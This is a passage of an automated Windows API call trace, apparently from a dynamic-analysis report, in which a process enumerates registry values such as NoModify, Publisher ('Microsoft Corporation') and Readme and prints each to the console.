lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.931] GetConsoleOutputCP () returned 0x1b5 [0147.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.931] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.931] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.931] GetProcessHeap () returned 0x2e0000 [0147.931] GetProcessHeap () returned 0x2e0000 [0147.931] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.931] GetProcessHeap () returned 0x2e0000 [0147.931] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.931] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.931] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.931] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.932] GetProcessHeap () returned 0x2e0000 [0147.932] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.932] GetProcessHeap () returned 0x2e0000 [0147.932] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.932] GetProcessHeap () returned 0x2e0000 [0147.932] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.932] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.932] __iob_func () returned 0x7fefd702a80 [0147.932] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.932] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.932] _fileno (_File=0x7fefd702ab0) returned 1 [0147.932] _errno () returned 0xc4bb0 [0147.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.932] _errno () returned 0xc4bb0 [0147.932] GetFileType (hFile=0x50) returned 0x1 [0147.932] lstrlenW (lpString=" ") returned 4 [0147.932] GetConsoleOutputCP () returned 0x1b5 [0147.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.932] GetConsoleOutputCP () returned 0x1b5 [0147.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.932] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.932] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.932] lstrlenW (lpString="NoModify") returned 8 [0147.932] __iob_func () returned 0x7fefd702a80 [0147.932] _fileno (_File=0x7fefd702ab0) returned 1 [0147.932] _errno () returned 0xc4bb0 [0147.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.932] _errno () returned 0xc4bb0 [0147.932] GetFileType (hFile=0x50) returned 0x1 [0147.933] lstrlenW (lpString="NoModify") returned 8 [0147.933] GetConsoleOutputCP () returned 0x1b5 [0147.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.933] GetConsoleOutputCP () returned 0x1b5 [0147.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.933] __iob_func () returned 0x7fefd702a80 [0147.933] _fileno (_File=0x7fefd702ab0) returned 1 [0147.933] _errno () returned 0xc4bb0 [0147.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.933] _errno () returned 0xc4bb0 [0147.933] GetFileType (hFile=0x50) returned 0x1 [0147.933] lstrlenW (lpString=" ") returned 4 [0147.933] GetConsoleOutputCP () returned 0x1b5 [0147.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.933] GetConsoleOutputCP () returned 0x1b5 [0147.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.934] __iob_func () returned 0x7fefd702a80 [0147.934] _fileno (_File=0x7fefd702ab0) returned 1 [0147.934] _errno () returned 0xc4bb0 [0147.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.934] _errno () returned 0xc4bb0 [0147.934] GetFileType (hFile=0x50) returned 0x1 [0147.934] lstrlenW (lpString="REG_DWORD") returned 9 [0147.934] GetConsoleOutputCP () returned 0x1b5 [0147.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.934] GetConsoleOutputCP () returned 0x1b5 [0147.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.934] __iob_func () returned 0x7fefd702a80 [0147.934] _fileno (_File=0x7fefd702ab0) returned 1 [0147.934] _errno () returned 0xc4bb0 [0147.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.934] _errno () returned 0xc4bb0 [0147.934] GetFileType (hFile=0x50) returned 0x1 [0147.934] lstrlenW (lpString=" ") returned 4 [0147.934] GetConsoleOutputCP () returned 0x1b5 [0147.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.934] GetConsoleOutputCP () returned 0x1b5 [0147.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.935] __iob_func () returned 0x7fefd702a80 [0147.935] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.935] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.935] _fileno (_File=0x7fefd702ab0) returned 1 [0147.935] _errno () returned 0xc4bb0 [0147.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.935] _errno () returned 0xc4bb0 [0147.935] GetFileType (hFile=0x50) returned 0x1 [0147.935] lstrlenW (lpString="0x1") returned 3 [0147.935] GetConsoleOutputCP () returned 0x1b5 [0147.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.935] GetConsoleOutputCP () returned 0x1b5 [0147.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.935] __iob_func () returned 0x7fefd702a80 [0147.935] _fileno (_File=0x7fefd702ab0) returned 1 [0147.935] _errno () returned 0xc4bb0 [0147.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.935] _errno () returned 0xc4bb0 [0147.935] GetFileType (hFile=0x50) returned 0x1 [0147.935] lstrlenW (lpString="\n") returned 1 [0147.936] GetConsoleOutputCP () returned 0x1b5 [0147.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.936] GetConsoleOutputCP () returned 0x1b5 [0147.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.936] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.936] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.936] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.936] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.936] GetProcessHeap () returned 0x2e0000 [0147.936] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.936] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.936] __iob_func () returned 0x7fefd702a80 [0147.936] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.936] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.936] _fileno (_File=0x7fefd702ab0) returned 1 [0147.937] _errno () returned 0xc4bb0 [0147.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.937] _errno () returned 0xc4bb0 [0147.937] GetFileType (hFile=0x50) returned 0x1 [0147.937] lstrlenW (lpString=" ") returned 4 [0147.937] GetConsoleOutputCP () returned 0x1b5 [0147.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.937] GetConsoleOutputCP () returned 0x1b5 [0147.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.937] lstrlenW (lpString="Publisher") returned 9 [0147.937] __iob_func () returned 0x7fefd702a80 [0147.937] _fileno (_File=0x7fefd702ab0) returned 1 [0147.937] _errno () returned 0xc4bb0 [0147.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.937] _errno () returned 0xc4bb0 [0147.937] GetFileType (hFile=0x50) returned 0x1 [0147.937] lstrlenW (lpString="Publisher") returned 9 [0147.937] GetConsoleOutputCP () returned 0x1b5 [0147.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.937] GetConsoleOutputCP () returned 0x1b5 [0147.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.938] __iob_func () returned 0x7fefd702a80 [0147.938] _fileno (_File=0x7fefd702ab0) returned 1 [0147.938] _errno () returned 0xc4bb0 [0147.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.938] _errno () returned 0xc4bb0 [0147.938] GetFileType (hFile=0x50) returned 0x1 [0147.938] lstrlenW (lpString=" ") returned 4 [0147.938] GetConsoleOutputCP () returned 0x1b5 [0147.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.938] GetConsoleOutputCP () returned 0x1b5 [0147.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.938] __iob_func () returned 0x7fefd702a80 [0147.938] _fileno (_File=0x7fefd702ab0) returned 1 [0147.938] _errno () returned 0xc4bb0 [0147.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.938] _errno () returned 0xc4bb0 [0147.938] GetFileType (hFile=0x50) returned 0x1 [0147.938] lstrlenW (lpString="REG_SZ") returned 6 [0147.938] GetConsoleOutputCP () returned 0x1b5 [0147.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.939] GetConsoleOutputCP () returned 0x1b5 [0147.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.939] __iob_func () returned 0x7fefd702a80 [0147.939] _fileno (_File=0x7fefd702ab0) returned 1 [0147.939] _errno () returned 0xc4bb0 [0147.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.939] _errno () returned 0xc4bb0 [0147.939] GetFileType (hFile=0x50) returned 0x1 [0147.939] lstrlenW (lpString=" ") returned 4 [0147.939] GetConsoleOutputCP () returned 0x1b5 [0147.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.939] GetConsoleOutputCP () returned 0x1b5 [0147.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.939] __iob_func () returned 0x7fefd702a80 [0147.939] _fileno (_File=0x7fefd702ab0) returned 1 [0147.939] _errno () returned 0xc4bb0 [0147.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.939] _errno () returned 0xc4bb0 [0147.939] GetFileType (hFile=0x50) returned 0x1 [0147.940] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.940] GetConsoleOutputCP () returned 0x1b5 [0147.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.940] GetConsoleOutputCP () returned 0x1b5 [0147.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.940] __iob_func () returned 0x7fefd702a80 [0147.940] _fileno (_File=0x7fefd702ab0) returned 1 [0147.940] _errno () returned 0xc4bb0 [0147.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.940] _errno () returned 0xc4bb0 [0147.940] GetFileType (hFile=0x50) returned 0x1 [0147.940] lstrlenW (lpString="\n") returned 1 [0147.940] GetConsoleOutputCP () returned 0x1b5 [0147.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.940] GetConsoleOutputCP () returned 0x1b5 [0147.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.941] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.941] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.941] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.941] GetProcessHeap () returned 0x2e0000 [0147.941] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.941] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.941] __iob_func () returned 0x7fefd702a80 [0147.941] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.941] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.941] _fileno (_File=0x7fefd702ab0) returned 1 [0147.941] _errno () returned 0xc4bb0 [0147.941] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.941] _errno () returned 0xc4bb0 [0147.941] GetFileType (hFile=0x50) returned 0x1 [0147.941] lstrlenW (lpString=" ") returned 4 [0147.941] GetConsoleOutputCP () returned 0x1b5 [0147.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.941] GetConsoleOutputCP () returned 0x1b5 [0147.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.942] lstrlenW (lpString="Readme") returned 6 [0147.942] __iob_func () returned 0x7fefd702a80 [0147.942] _fileno (_File=0x7fefd702ab0) returned 1 [0147.942] _errno () returned 0xc4bb0 [0147.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.942] _errno () returned 0xc4bb0 [0147.942] GetFileType (hFile=0x50) returned 0x1 [0147.942] lstrlenW (lpString="Readme") returned 6 [0147.942] GetConsoleOutputCP () returned 0x1b5 [0147.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.942] GetConsoleOutputCP () returned 0x1b5 [0147.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.942] __iob_func () returned 0x7fefd702a80 [0147.942] _fileno (_File=0x7fefd702ab0) returned 1 [0147.942] _errno () returned 0xc4bb0 [0147.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.942] _errno () returned 0xc4bb0 [0147.943] GetFileType (hFile=0x50) returned 0x1 [0147.943] lstrlenW (lpString=" ") returned 4 [0147.943] GetConsoleOutputCP () returned 0x1b5 [0147.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.943] GetConsoleOutputCP () returned 0x1b5 [0147.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.943] __iob_func () returned 0x7fefd702a80 [0147.943] _fileno (_File=0x7fefd702ab0) returned 1 [0147.943] _errno () returned 0xc4bb0 [0147.943] _get_osfhandle (_FileHandle=1) returned 